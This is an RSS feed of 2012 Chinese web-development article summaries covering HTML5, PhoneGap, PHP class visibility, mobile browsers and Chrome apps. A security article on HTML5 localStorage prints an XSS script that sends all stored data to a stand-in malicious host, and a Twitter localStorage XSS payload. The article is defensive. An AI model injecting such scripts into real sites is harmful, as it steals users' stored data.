<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PHP中文网</title>
	<atom:link href="http://www.phpzh.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phpzh.com</link>
	<description>PHP中文网，因为专业所以权威！</description>
	<lastBuildDate>Thu, 05 Apr 2012 02:16:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PhoneGap：免费开源的 HTML5 移动应用开发平台</title>
		<link>http://www.phpzh.com/archives/802</link>
		<comments>http://www.phpzh.com/archives/802#comments</comments>
		<pubDate>Thu, 05 Apr 2012 02:12:15 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=802</guid>
		<description><![CDATA[PhoneGap 是一个免费开源的开发框架，让 Web 开发人员能够使用熟悉的 HTML，CSS 和 JavaScript 构建跨平台的移动本地应用。通过 PhoneGap 框架提供的 JavaScript API 能够以非常简单的方式调用移动设备的核心功能，包括地理位置，摄像头，加速器，通讯录，多媒体，文件和网络等功能。借助 PhoneGap，你完全可以使用熟悉的 Web 开发技术写出移动 Native App，并发布到 Apple Store，Google Play 等各平台应用商店中。 编写好的代码可以上传到云端服务器，使用云端编译功能编译成各种平台下的应用，支持 iOS，Android，Palm，Symbian，Blackberry，Windows Phone 和 Bada 七大平台。 &#160; &#160; 电脑软件公司 Adobe 于2011年10月4日宣布收购了创建了HTML5移动应用框架 PhoneGap 和 PhoneGap Build 的新创公司 Nitobi Software。拥有 PhoneGap 后，Adobe 将为开发人员提供两个强大的跨平台原生移动应用程序开发工具：基于 HTML5 和 JavaScript 脚本的 PhoneGap，以及 Adobe Flash 与Adobe AIR。 &#160; &#160; PhoneGap [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/802/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于 HTML5 的七个传说</title>
		<link>http://www.phpzh.com/archives/800</link>
		<comments>http://www.phpzh.com/archives/800#comments</comments>
		<pubDate>Sun, 01 Apr 2012 02:10:12 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=800</guid>
		<description><![CDATA[正如 Opera 的布道者 Bruce Lawson 讲的那样，“每个人都在谈论 HTML5”，它被传的很神，很玄。事实上有很多人所说的 HTML5 实际上只是古老的 DHTML 或者 Ajax。把所有的信息混在一起就是一堆错误信息。 HTML5 简单的说就是一组新的标准，语法和规则用来创建网页，可以利用一些新的浏览器的“本地”功能，例如离线存储，多媒体播放和其他的交互等等。我们所看到的很多很酷的 HTML5 网站实际上跟 HTML5 无关，而是由 CSS3 和 jQuery 生成的。CSS3 和 jQuery 是和 HTML5 一样的新技术，它们和 HTML5 是平行的概念。 传说 #1：因为苹果不支持 Flash，所以人们发明了 HTML5 树大招风，苹果似乎经常受到各种指责。虽然 HTML5 可以为移动设备提供一些非常有用的功能，但是它不是为了这个需求而被创造的。事实上，早在2004年，Opera 和 Mozilla 为了解决乱糟糟的网页标准定义了一些好的设计的标准。他们的目的很简单，就是向 W3C 提交这些标准，从而创建一个更好用，更快速的 HTML 标准。这个标准直到2006年才被接受。而在短短的三年内，人们又起草了一个新的标准，审议通过并开始使用。 传说 #2：HTML5 要到2022年才会成熟 我不知道这句话是谁传出来的。我们知道 HTML5 的起草文件已经在2009年审议通过，也就是没有新的内容可以被添加，也不会有显著的改动。你现在就可以使用 HTML5 了，并且不用担心向下兼容问题。你可以通过一些轻量级的 JavaScript 来让老版本的浏览器支持复杂的 Canvas 。所有新版本的浏览器支持 [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/800/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mozilla发布“BrowserQuest”网络游戏来证明HTML5的功能强大‎</title>
		<link>http://www.phpzh.com/archives/798</link>
		<comments>http://www.phpzh.com/archives/798#comments</comments>
		<pubDate>Wed, 28 Mar 2012 03:09:48 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=798</guid>
		<description><![CDATA[Mozilla为了体现HTML5的功能强大，日前Mozilla与法国一家游戏开发小作坊联手发布了一款新的大型基于HTML5技术的多人在线游戏。对于HTML5的游戏，目前来说已经不是什么新鲜事了，Mozilla的发布该款网络游戏主要是作为一个展示其新的WebSockets技术而研发的，它表示允许支持“网页浏览器和服务器之间的双向通信。”的方式运作。 因为它是基于HTML5的，所以可以在几乎所有的浏览器 – 包括iOS和Android上的Firefox上的Safari播放。目前Mozilla已经发布了BrowserQuest源代码，你也可以找到在GitHub上下载此源代码.https://github.com/mozilla/BrowserQuest]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/798/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP class中public,private,protected的区别</title>
		<link>http://www.phpzh.com/archives/797</link>
		<comments>http://www.phpzh.com/archives/797#comments</comments>
		<pubDate>Mon, 26 Mar 2012 06:07:51 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP函数]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=797</guid>
		<description><![CDATA[一，public,private,protected的区别 public:权限是最大的，可以内部调用，实例调用等。 protected: 受保护类型，用于本类和继承类调用。 private: 私有类型，只有在本类中使用。 二，实例 &#60;?php error_reporting(E_ALL); class test{ public $public; private $private; protected $protected; static $instance; public  function __construct(){ $this-&#62;public    = 'public     &#60;br&#62;'; $this-&#62;private   = 'private    &#60;br&#62;'; $this-&#62;protected = 'protected  &#60;br&#62;'; } static function tank(){ if (!isset(self::$instance[get_class()])) { $c = get_class(); self::$instance = new $c; } return self::$instance; }     public function [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/797/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visual Studio 11增强HTML5和JS的支持‎</title>
		<link>http://www.phpzh.com/archives/796</link>
		<comments>http://www.phpzh.com/archives/796#comments</comments>
		<pubDate>Sat, 24 Mar 2012 14:18:59 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=796</guid>
		<description><![CDATA[Mads Kristensen 在 TechDays 2012 海牙站上发表了一场很有趣的演讲，演讲内容是关于在 Visual Studio 11 和 ASP.NET 4.5 中所有的新功能和新选项。 然而，当我们浏览这些新功能列表时，我们获得的印象是，这一次的主要焦点在 web 标准和 HTML5 上。为了使 HTML5、CSS 3 和 Javascript 能够在 Visual Studio 环境中相当容易的被使用，微软做了很多工作。Javascript 和 CSS 编辑器都是全新构建的。因此，它们能够处理所有 Javascript 和 CSS 最新版本提供的新功能。现在，让我们看看 Visual Studio 11 为支持构建适应最新 web 标准和 HTML5 的应用提供了哪些新东西吧。 自动 CSS Hacks 我们都知道 HTML5 和 CSS3 效果很酷而且简单易行。但是，当创建一个更复杂的 web 应用程序时，常用的方法是我们需要针对特定的浏览器做出与之相应的设置(这一过程我们把它叫做 CSS Hacks)。而这一步骤可能会花去很多时间并且结果令人沮丧。Visual Studio 11 [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/796/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>浅析HTML5的优势及对于SEO的影响</title>
		<link>http://www.phpzh.com/archives/794</link>
		<comments>http://www.phpzh.com/archives/794#comments</comments>
		<pubDate>Mon, 19 Mar 2012 02:23:28 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=794</guid>
		<description><![CDATA[随着HTML5的发展。虽然有很多人这几年都写了很多关于HTML的文章，但好像很少有提供关于HTML5能够影响有机的流量或者真的与SEO有关系的证据。而本文将主要阐述关于HTML5对于你的SEO的影响，首先我们需要知道HTML5可以提供什么及不足之处? HTML5可以提供： 在用户的可用性和友好体验上带来一些改进； 有几个新的标签，这将有主开发人员定义重要的内容； 可以给站点带来更多的多媒体元素(视频和音频)； 可以很好的替代FLASH和Silverlight； 当涉及到网站的抓取和索引的时候，对于SEO很友好； 将被大量用户移动应用程序和游戏。 因此，我们可以说HTML5有一天将是WEB更加的美好，但是有一天并不是现在。我们不能不提到重要的一点：迄今为止，并没有什么流行的浏览器可以完全的支持所HTML5规范的所有功能。需要明确的是，今天的主流浏览器都将趋于支持HTML5，但是仍存在许多不完全的支持或兼容。 谷歌和HTML5 2010年5月22日，谷歌创建了一个涂鸦来纪念Pac Man的视频游戏。这个涂鸦是一个动画，同时也是一个可以玩的Pac Man的游戏。这个涂鸦就是谷歌通过使用HTML5标准制作的，当然谷歌也提供一个FLASH版本来支持不兼容HTML5的浏览器。我敢打赌，这是大多数互联网网民第一次和HTML5的接触。对于个人来说，这是一个兴奋的消息。以我的观点，这个涂鸦提供了一个机会可以窥视未来互联网、网页、移动应用软件和游戏等发展趋势。对于搜索引擎优化，他开辟了我更多的想象，它让我思考HTML5在SEO领域的潜力。网站转移到HTML5标准对于SEO有什么优势? HTML5与SEO 一、使搜索引擎更加容易抓去和索引 对于一些网站，特别是那些严重依赖于FLASH的网站HTML5是一个大福音。如果你有一个都是FLASH的站点，你就一定会看到切换到HTML5的好处。首先，搜索引擎的蜘蛛将能够抓去你的站点和索引你的内容。所有嵌入到动画中的内容将全部可以被搜索引擎读取。在搜索引擎优化的基本理论中，这一方面将会驱动你的网站获得更多的右击流量。 二、提供更多的功能，提高用户的友好体验 使用HTML5的另一个好处就是它可以增加更多的功能。对于HTML5的功能性问题，我们可以从全球几个主流站点对它的青睐就可以看出。社交网络大亨Facebook已经推出他们期待已久的基于HTML5的iPad应用平台，潘多拉最近也推出他们基于HTML5的音乐播放器的新版本。游戏平台Zynga最近也在推出了三款新的在移动设备浏览器上运行的基于HTML5的游戏等等。每天都有不断的基于HTML5的网站和HTML5特性的网站被推出。保持站点处于新技术的前沿，也可以很好的提高用户的友好体验。 三、可用性的提高，提高用户的友好体验 最后我们可以从可用性的角度上看，HTML5可以更好的促进用户于网站间的互动情况。多媒体网站可以获得更多的改进，特别是在移动平台上的应用，使用HTML5可以提供更多高质量的视频和音频流。到目前位置，事实就是iPhone和iPad将不会支持FLASH，同时ADOBE公司也在近期公开声明将停止FLASH基于移动平台的开发，现在我们已经可以这么说移动平台日后视频音频是HTML5的天下。 可以肯定的是，越来越多的SEOer开始研究对于HTML5站点的优化，对于搜索引擎来说，他们也会不断的更新算法来适应HTML5的发展。]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/794/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>回归浏览器</title>
		<link>http://www.phpzh.com/archives/793</link>
		<comments>http://www.phpzh.com/archives/793#comments</comments>
		<pubDate>Mon, 19 Mar 2012 02:21:40 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[其它]]></category>
		<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=793</guid>
		<description><![CDATA[导语：因为Android，因为HTML 5，浏览器重新得到产业链的宠幸，它的商业模式突然丰满起来，但是，代价同样巨大——它必须完全改变自己的基因。 经济观察报 张昊 这本大胆的杂志似乎天生就对Web不屑一顾：2010年8月，《连线》发表了著名的《Web已死 Internet永生》；在此之前，1997年它那篇同样质疑Web的《推送！》已经沦为业界笑柄。 但这依然引发了一轮相当持久的讨论，这一次对它有利的是，乔布斯的苹果真的把本地应用做得相当“唬人”。那时的APP　Store已经有了30多万种应用，总下载量直奔100亿次，关键是用户已经习惯了在智能手机的屏幕上堆满各种客户端图标，这显然不是1997年的PointCast（一家根据用户喜好推送资讯的软件公司）所能匹敌的。 这样看来，《连线》没有把文章命名为“吻别浏览器”，已经是给足了面子。它几乎是宣判了浏览器的死刑，“Web绝对不是数字革命的终点”，“总的来说我们还是有先见之明的，我们预见到了一个机器向机器自动发送信息的未来，而那时，重点会从浏览转向获取。”它还在为之前的那篇文章辩解着。 但仅仅是过了不到一年，它看似强大的观点就又一次有可能“臭名昭著”。因为Android，因为HTML　5（用于描述网页文档的标记语言），浏览器重新得到产业链的宠幸。它甚至被赋予了更高的地位：颠覆本地服务，占领主屏。但是，代价同样巨大——它必须完全改变自己的基因。 Native　或者 Web？ 这其实并不是一个太值得讨论的问题，即使现在看来，两者之间必然会有一场大仗。但在移动互联时代，用户需要的是信息，是内容，所以，外面的“壳”真的有那么重要吗？ Native　APP的优势在于对本地功能（比如摄像头、鼠标等）的调用很好，用户体验要强于Web，而且对网络环境不那么依赖。但一个致命伤就是适配性很差，尤其在手机上，甚至每一款机型都需要不同的客户端。而Web能很好地完成跨平台任务，之后的云服务也可以让开发成本更低。 不可否认，以APP　Store为代表的本地服务平台目前处于绝对强势，浏览器正在节节败退。这很容易造成一种误解，即客户端才是聚拢流量最有效的工具。“这个判断其实很容易被推翻，很显然，用户对移动互联网的需求还远远不够，或者说移动互联网的服务提供得还不够，根本无法形成和互联网同样规模的长尾需求，更何况我们总认为移动互联网的价值肯定要超越互联网。”欧朋浏览器的相关负责人这样说道。用户根本不太需要浏览器，这跟搜索引擎必须在内容网站成熟之后才能发力的道理一样。 而在应用服务严重匮乏的情况下，产业链又相对封闭，iOS的大门紧闭，Android也正在一点点关上门，即将出现的Windows　8据说开放度也不够。这是致命的，因为浏览器根本无法把所有能力都释放出来，只能在巨头们允许的范围内做做文章。如果说浏览器自身都无法满足应用的需求，那么何谈所谓的Web　APP呢？此外的网速问题、技术标准问题都还不是死结。但如果无法协调系统平台方和应用开发者之间的资源分配，那么Web绝对构建不出自己的生态链。 其实两者本不是取代与被取代的关系，因为它们完全有共存的基础。强调交互体验、相对稳定的应用就选择Native　APP；看重跨平台、低成本和实时更新就用Web　APP。“Web已经具备了成为平台的特质，但它绝不可能是唯一的平台，这一切取决于整条产业链如何发展。”海豚浏览器CEO杨永智坦言。 转型 自打网景神话破灭之后，浏览器就成了一个“受诅咒”的领域。它几乎是所有流量的入口，但十几年来，却没有诞生一家伟大的公司。尤其是在进入互联网时代之后，浏览器厂商老派的软件式思维严重禁锢了其发展节奏。它们还在卖着license（许可证），做着一本万利的B2B业务（跟电信运营商和终端厂商的预装合作）。但真正临近了移动互联网的大门，它们才猛然发现，原来的那一套居然玩不转了！ Opera几乎见证了整个浏览器的发展史，依靠在欧美市场和运营商的深度合作，它的市场占有率遥遥领先。但一个无法忽视的事实就是，“Opera一直不是一家互联网公司，而只是一家技术驱动的软件公司。”欧朋CEO宋麟说道。在副总经理白昉看来，“虽然从近几年的财报来看，流量分成的收入比例越来越大，但Opera可以说是最后一家坚持B2B业务的浏览器厂商。很明显，之前他们的技术团队很强，但根本没有内容整合和运营的团队。而这在Android平台起势之后，制约尤为明显。” “其实整个公司在近几年来都在改变，Opera之前一直以技术伙伴的形象进入市场，70%以上的收入都是通过帮助合作伙伴进步而获得，直接从用户获得的利润相对较少。但随着用户逐渐增多，现实推动着Opera必须进行改变。”宋麟在Opera已经有了近十年的工作经历，2006年，他奉命回国运营中国区的业务，但一直不见起色。 直到2011年3月，Opera和天音通信合作成立了欧朋，整个局面才被打开。“这是一家定位为B2C的互联网公司，在这一点上，不论是跟总部，还是天音，我们都保持了高度的一致。”白昉称，“因为在此之前，它们也在尝试做B2C，只不过方式不大一样。严格意义上说，应该是B2B2C，它们会去和运营商共同做一个定制化的产品，然后通过运营用户来分成。” 所以，双方的磨合也还算顺畅，“大家的敏感度肯定有不一样的地方，比如做B2C业务的更关注数据的变化和服务的稳定性，善于做用户数据分析，而B2B出身的则更注重技术，这其实也是一种互补。”白昉之前在天音通信工作，她深知中国市场不同于欧美，“它们也清楚这里的运营商被大互联网公司‘教育’得都不太会去积极地主导，在这里完全是B2C的玩法。” 而UC的变化甚至谈不上“转型”，“我们本来就是一家互联网公司，做的也是B2C的业务，在上马An-droid平台之前，我们做得更多的是权衡。”UC董事长兼CEO俞永福告诉本报记者，2008年，在U3内核立项之前，他们已经认定了未来是智能机的天下，“但老实说，都没想到有这么厉害。那时候，我们认为手机的主频将会达到300多MHz，网速会有20多K每秒，现在想想都觉得可笑。” 俞永福出身于风投，他对一个公司的经营节奏稔熟于胸。那时UC在塞班平台上的优势几乎无法超越，凭这一项，他就完全可以嫁接各种盈利模式。“我见过了太多的生生死死，别说那个时候，即使到现在，我都还在为下一个平台的转移做准备，谁知道会不会出现一个Android二代呢？互联网企业，绝对不能拿自己的命去赌。” “所以，我一直在考虑UC之前的业务模式在Android上究竟还有没有价值。”在他看来，服务会是浏览器未来的重中之重，“我理想中服务的标准就是首先要符合大众化需求，还有一点，就是对产业链的破坏要足够小。” 2010年底，UC乐园上线。“移动和社交具有天然的融合性，而且它的行业集中度最小，不像资讯类的最多不超过3家。”他在经营理念上的一个显著变化就是更多的业务模式开始持续性地去经营用户，而不是简单地贩卖流量。“我在不断地做减法，把业务线更明确了，像UC桌面这样的产品就很久没更新了。对于浏览器这个产品，我们现在也是主抓核心点，你会发现我们近些年来在内核上下的功夫最多。”在每次中层会议上，俞永福的核心都是做减法，“UC现在是一家中型公司，这个阶段也是最难经营的，想要保持快速，就必须明确目标。” 相比于前两家，海豚浏览器是一家完全基于移动互联网的创业型公司。它几乎没有任何的行业积累，甚至连这个项目本身都是无心插柳的意外惊喜，所以，杨永智谈得更多的是创新和差异化。 海豚浏览器令人惊艳的是其对手势和阅读体验的理解，“我们的用户都认为这是一个很酷的小玩意儿，它确实和其他家的产品不一样。”他曾经在微软从事创新项目的孵化，从某种角度上讲，这也直接影响到了他对产品的理解。 “目前正处在一个尴尬的时刻，平台是分裂的，用户习惯也是分裂的。但因为跨平台很难，所以浏览器很必要。而我们也一直在努力去引导用户习惯，当然会有很大的惯性，这几乎是我们目前最大的阻力。” 海豚浏览器的核心团队大部分的出身是产品经理，杨永智管理风格很宽松，“我们会围绕着产品差异化反复地讨论，谁都没有特权，即使是我的提案。”有一次，他提出要在An-droid产品中加入内容推送的功能，这遭到一个产品经理的强烈反对。“他说这会打扰到用户，而且也并没有太多可以推送的东西。但后来我们反复论证，我认为新闻的客户端，包括社交游戏、推送通知都是极其重要的。结果我们还是上了这个功能。” 杨永智笑了笑，“其实在这个团队中，每天都在不停地变化。也许一个功能第一次被讨论时，大家觉得它很性感，但过了一周，大家反而失去了兴趣。”2011年下半年，单单一款浏览器就让他的团队忙不过来了，他果断砍掉其他项目，专心做海豚，“老实说，我现在对盈利模式没有任何概念，而且面对的都是巨头，这样一个小公司再没有差异化，它有活路吗？” 重塑商业模式 Android带给整个浏览器产业链的变化绝不仅仅是技术上的，它在颠覆着原有模式的一切，而且它有足够的包容性。这不仅仅是说上面的三家公司都会找到各自不同的定位，最主要的是在B2B时代，像海豚浏览器这样的创业公司不会有任何生存空间。 所以，他们才如此期待Android的进一步开放，还有HTML　5尽快成熟。正如白昉所说，“有了HTML　5，浏览器才能回到本源，否则 它还是只能浏览。”“很简单，如果没有HTML　5，我们就不是行业竞争了，而必须面对APP　Store。”俞永福也赞同白昉的说法。 你会不会享受这种感觉？在用手机刷微博时，看到一个链接，根本不用跳转就可以直接浏览。看到一段喜欢的话，截取下来保存到Evernote里，然后在Facebook上搜一下作者介绍，当然有必要的话，可以直接下单购买他的书。更理想的状况是，不仅在刷微博，你还能听豆瓣FM，同时挂着QQ和几个社交游戏。几乎所有的用户都在希望把PC上多任务的体验完全移植到手机上，而这正是HTML　5所擅长的。所以，我们才如此期待它所带来的那种跨平台同步的无缝体验，所有的Web　APP将不再是一个个孤岛，而是完全的资源互补。 这样，浏览器的商业模式突然丰满起来。除了相对成熟的广告外，云服务会在HTML　5的基础上让Web凸显更大的价值。当然，Web　APP所构建的应用平台也会成为其杀手锏。“现在看起来，HTML　5应用相对广泛的社交和资讯还没有触及到它的价值，因为更多的是互联网的延伸。它第一个爆发点有可能是本地服务，Web游戏也会发生很大的变化。”在俞永福的概念里，HTML之于浏览器，不亚于一次救赎，“它的价值是全方位的，应用、展现和交互都会让浏览器面目一新。” “现在它的标准还没有完成，我们只能做一些基础性的工作，但很显然，浏览器已经露出了成为平台的苗头。”杨永智说道，“以前浏览器只是一个流量入口，现在它有机会把用户留在自己的领土里。” 链接 Web 如今Web的含义已经很广泛，我们最常听到是 Web　1.0、Web　2.0，但它最原始的意思就是网页。网页上呈现出来的都是Web的内容，所以实际上，Internet（互联网）就是由一个个Web构成。 HTML　5 如同音乐有MP3格式一样，HTML就是网页的格式。很多Flash视频在苹果产品上无法播放，就是因为苹果只支持HTML　5，却与Flash不兼容。所以，在优酷网站上看视频往往比在优酷客户端上更顺畅，这就是HTML　5的功效了。它耗用资源少，而且视觉效果更好。还记得谷歌在去年圣诞节前做的那个下雪游戏？只要搜索“let　it　snow”，屏幕就开始飘雪，那就是HTML　5的功劳。 Native　APP 最直观的例子，就是iPhone上的小游戏客户端。简单地说，本地应用都需要保存在电脑和手机里，使用的时候甚至不需要上网，直接点击进入就可以了。 Web　APP 和本地应用相反，必须打开网页才能使用，就像偷菜这样的网页游戏。它不需要下载，但一定要上网才行。]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/793/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web开发者如何玩转Chrome应用商店</title>
		<link>http://www.phpzh.com/archives/774</link>
		<comments>http://www.phpzh.com/archives/774#comments</comments>
		<pubDate>Mon, 19 Mar 2012 02:20:02 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=774</guid>
		<description><![CDATA[应用商店对于身处智能化时代的我们来说，并不陌生，苹果利用智能手机将应用商店推向消费者，人们迈向了享受智能时代的第一步，紧接着谷歌 Android，微软Windows phone智能平台也相继问世。App Store应用数量超过了50万，而Android应用也已经超过20多万，给开发者开辟了一个赚取收入的重要通道。 应用商店模式在被证明极具时代价值之后，再次被引入到了Web端，而消费者对于Web应用的下载和使用热情高涨。敏锐的开发者同样嗅到了Web应用商店带来的巨大商机，纷纷选择了应用商店作为根据地，推广自己的应用产品。 本文以Hosted App为例介绍如何加载、发布Chrome应用，一步步帮助开发者开启自己的掘金之旅。 1、 应用的开发 做一个简单的Hosted App需要一个manifest.json文件 &#160; &#160; &#160; &#160; ▲图一、简短的manifest.json 同时还需要有一个应用图标，大小128×128。 &#160; &#160; &#160; &#160; ▲图二、应用图标 准备好两个文件之后，再将以上两个文件放在Hosted App目录下。 2、应用的加载 下载Chrome浏览器之后，在Chrome浏览器中，通过地址栏右侧的自定义浏览器按钮-&#62;工具-&#62;打开扩展应用程序 &#160; &#160; &#160; &#160; ▲图三、打开扩展应用程序 &#160; &#160; &#160; &#160; ▲图四、默认扩展应用程序页面 点击右侧开发人员模式，展开开发人员模式工具条。 &#160; &#160; &#160; &#160; ▲图五、开发人员工具条展开后 点击“载入正在开发的扩展程序”，选择Hosted App目录，Hosted App即可加载成功。 &#160; &#160; &#160; &#160; ▲图六、Hosted App加载成功 我们在Chrome浏览器中，打开新标签页，即可看到我们加载Hosted App &#160; &#160; [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/774/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML5代替Cookie? HTML5本地存储安全性</title>
		<link>http://www.phpzh.com/archives/772</link>
		<comments>http://www.phpzh.com/archives/772#comments</comments>
		<pubDate>Mon, 12 Mar 2012 08:28:01 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=772</guid>
		<description><![CDATA[在HTML5本地存储出现以前，WEB数据存储的方法已经有很多，比如HTTP Cookie，IE userData，Flash Cookie，Google Gears。其实再说细点，浏览WEB的历史记录也算是本地存储的一种方式。到目前位置，HTML5本地存储方式已经获得了广泛的支持，其中支持的浏览器包括：IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+，手机平台包括iPhone 2+和Android 2+。最新的HTML5本地存储规范文档，可以在线查看http://dev.w3.org/html5/webstorage/。 HTML5本地存储的前身就是Cookie，HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M，比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练： 存储数据 Window.localStorage.setItem(key,value) 读取数据 Window.localStorage.getItem(key) 删除数据项 Window.localStorage.removeItem(key) 删除所有数据 Window.localStorage.clear() 那么现在我们是否可以简单的认为，HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。 (1)、是否可以代替Cookie 浏览器使用Cookie进行身份验证已经好多年，那现在既然localStorage存储空间那么大，是否可以把身份验证的数据直接移植过来呢。以现在来看，把身份验证数据使用localStorage进行存储还不太成熟。我们知道，通常可以使用XSS漏洞来获取到Cookie，然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据，浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞，那么存储在localStorage里的数据就极易被获取到。 如果一个网站存在XSS漏洞，那么攻击者注入如下代码，就可以获取使用localStorage存储在本地的所有信息。 &#60;script&#62; var i = 0; var str = ””; while (localStorage.key(i) != null) { var key = localStorage.key(i); str += key + ”: ” + localStorage.getItem(key); i++; } document.location=”http://your-malicious-site.com?stolen=”+ str; &#60;/script&#62; 攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。 (2)、不要存储敏感信息 从(1)中知道，从远程攻击来看localStorage存储的数据容易被XSS攻击获取，所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说，从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。 五大浏览器现在都已经支持以localStorage方式进行存储，其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式： &#160; 通过上面的描述可以看出，除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的)，其他浏览器均是采用明文存储数据。 另一方面，在数据存储的时效上，localStorage并不会像Cookie那样可以设置数据存活的时限，只要用户不主动删除，localStorage存储的数据将会永久存在。 根据以上对存储方式和存储时效的分析，建议不要使用localStorage方式存储敏感信息，那怕这些信息进行过加密。 (3)、严格过滤输入输出 对于本地存储，为了方便再次加载数据，常常会把数据存储在本地。等再此加载的时候，直接从本地读取数据显示在网页上。在某些情况下，在通过在localStorage存储中写入或读取数据的时候，如果数据没有经过输入输出严格过滤，那么极易可能这些数据被作为HTML代码进行解析，从而产生XSS攻击。 Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是，在Twitter的个人主页上执行以下存储代码后，每次再打开个人主页时就会弹出/xss/框。 localStorage.setItem(“:USER:”,’{“name”:{“value”:{“store”:{“recentFollowers”:{“value”:”name&#60;script&#62;alert(/xss/)&#60;/script&#62;”}}}}}’); 从这段代码可以看出，Twitter会使用localStorage方法把一些个人数据存储到本地，每次加载个人主页面的时候就会从本地存储取数据，然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行，进而发生跨站攻击。 Twitter [...]]]></description>
		<wfw:commentRss>http://www.phpzh.com/archives/772/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用HTML5的十大原因</title>
		<link>http://www.phpzh.com/archives/770</link>
		<comments>http://www.phpzh.com/archives/770#comments</comments>
		<pubDate>Mon, 12 Mar 2012 08:26:09 +0000</pubDate>
		<dc:creator>guolb</dc:creator>
				<category><![CDATA[HTML5和AS3]]></category>

		<guid isPermaLink="false">http://www.phpzh.com/?p=770</guid>
		<description><![CDATA[你难道还没有考虑使用HTML5？ 当然我猜想你可能有自己的原因；它现在还没有被广泛的支持，在IE中不好使，或者你就是喜欢写比较严格的XHTML代码。HTML5是web开发世界的一次重大的改变，事实上不管你是否喜欢，它都是代表着未来趋势。其实HTML5并不难理解和使用。我们这里能列出许多原因为什么现在要开始使用HTML5。 目前有很多的文章介绍使用HTML5并且介绍了使用它的优势和好处，没错，我们这篇文章也类似。随着更多这样的文章，以及Apple的支持， Adobe围绕HTML5的产品开发，以及移动flash的死亡，如此多网站的支持，我想对那些仍旧没有或者不想接受它的人说一些话。我认为主要得原因是，它看起来像一个神秘的东西。很多感觉它像喷气背包或者飞行汽车。一个未经验证的非凡想法但是并不实际。但是事实上现在已近非常的实际了。 为了解密HTML5并且帮助顽固的开发设计人员，我这里写了列出了使用HTML5的几大原因，希望对大家有帮助！ 第十大原因：易用性 俩个原因使得使用HTML5创建网站更加简单：语义上及其ARIA。新的HTML标签像&#60;header&#62;, &#60;footer&#62;，&#60;nav&#62;，&#60;section&#62;， 